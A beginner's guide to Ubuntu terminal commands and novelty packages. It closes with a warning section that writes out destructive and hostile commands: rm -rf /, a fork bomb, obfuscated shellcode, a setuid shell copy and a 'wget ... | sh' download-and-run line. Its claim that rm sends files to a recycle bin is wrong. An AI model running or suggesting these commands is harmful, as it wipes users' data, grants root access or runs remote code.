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Basic guide to Ubuntu terminal
Working with files and directories
Working with files and directories is perhaps one of the most basic and simple thing which every Linux user should have somewhat of an idea of. The following commands guide a user on how to navigate through files on their terminal.
Fun with files and directories.
cd/directory-name
. This command takes you to a folder/directory in your files explorer. Note, unlike the Windows terminal, the Linux terminal is case sensitive, so you can't get by with a lower case :*(cd
. This will take you back to your home directory.cd..
. This will take you back a directory.
If you haven't changed any file or folder names, you can try to do cd Downloads
, and it will take you to the downloads folder in your files diretory.
ls
. To show the files which are in the directory, just type inls
pwd
. Tells the location of your current directory.mv
. This can be used to both rename a file, and move a file (as shown below). You can domv filename newfilename
and it will rename that file!mkdir
. To make a new folder/diretory from the terminal, themldir
command is the way to go!touch
. To add a file, just type in `touch [filename].file extension, and it will add in a new file on whichever directory you're on.rm
. To delete a file and move it to the recycle bin, type inrm filename
which removes the file from your current directory.cp
. To copy a file, use thecp
command.cp filename home/you/Documents
will copy the file in your current directory to another directory.mv
. Moves a file. You can domv filename home/you/Documents
and it will move the file in your current directory to another directory. As state above, this can also act as a way to rename your files.
Onto some fun stuff
Now that we have the basics of file navigation down, let's move onto some fun stuff! (yay)
Run a train in the terminal
Let's take a train ride, eh?
sl
To make your train fly, type in sl -F
Required pacakge install: sudo apt install sl
cowsay, figlet, lolcat
Needed packages.
sudo apt-get install cowsay
sudo apt-get install fortune
sudo apt-get install figlet
Option for lolcat
Install Ruby. ruby -v
Install lolcat via gem gem install lolcat
RGB text
$ echo "RGB makes your computer fast" | figlet | lolcat
Have a cow predict your future
$ fortune | cowsay | lolcat
Cool rainbow image thingy :P
$ git log -1 | cowsay -f dragon-and-cow | lolcat
Hacker mode
To make 5th graders feel like Hackers (sorry not sorry :P), you can do the matrix command. Type in cmatrix
in the terminal.
Required pacakge install: sudo apt install cmatrix
Danger Zone!
These are dangerous commands which you SHOULD NOT DO!
Note: Dont execute any of the below command in your Linux terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the me nor Dev.to is responsible.
rm -rf /. This command delets ALL of your files from your root directory!
:(){:|:&};:
. This is a fork bomb. This operates by defining a function called ":", which calls itself twice, once in the forground and once in the background. It keeps on executing until your system freezes.Hidden rm -rf/
char esp[] __attribute__ ((section(.text))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68\x00\x2d\x63\x00
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;
This following command will show that threats are hidden and not always visible to you. This will delete your root partition.
wget http://malicious_source -O- | sh
. No explaination needed for this. The link already looks suspicious and you should not install this as it will download a script and execute it, and your computer will have viruses/malware.> xt.conf
. This will flush the content of the system file.
sudo
To end this off, we're going to talk about sudo. sudo is a possibly dangerous command. It allows you to run programs with a administrator permissions. Running the command is not a sin, but don't randomly sudo something when you don't really know what it is.
Original Link: https://dev.to/harshhhdev/basic-guide-to-ubuntu-terminal-9g4
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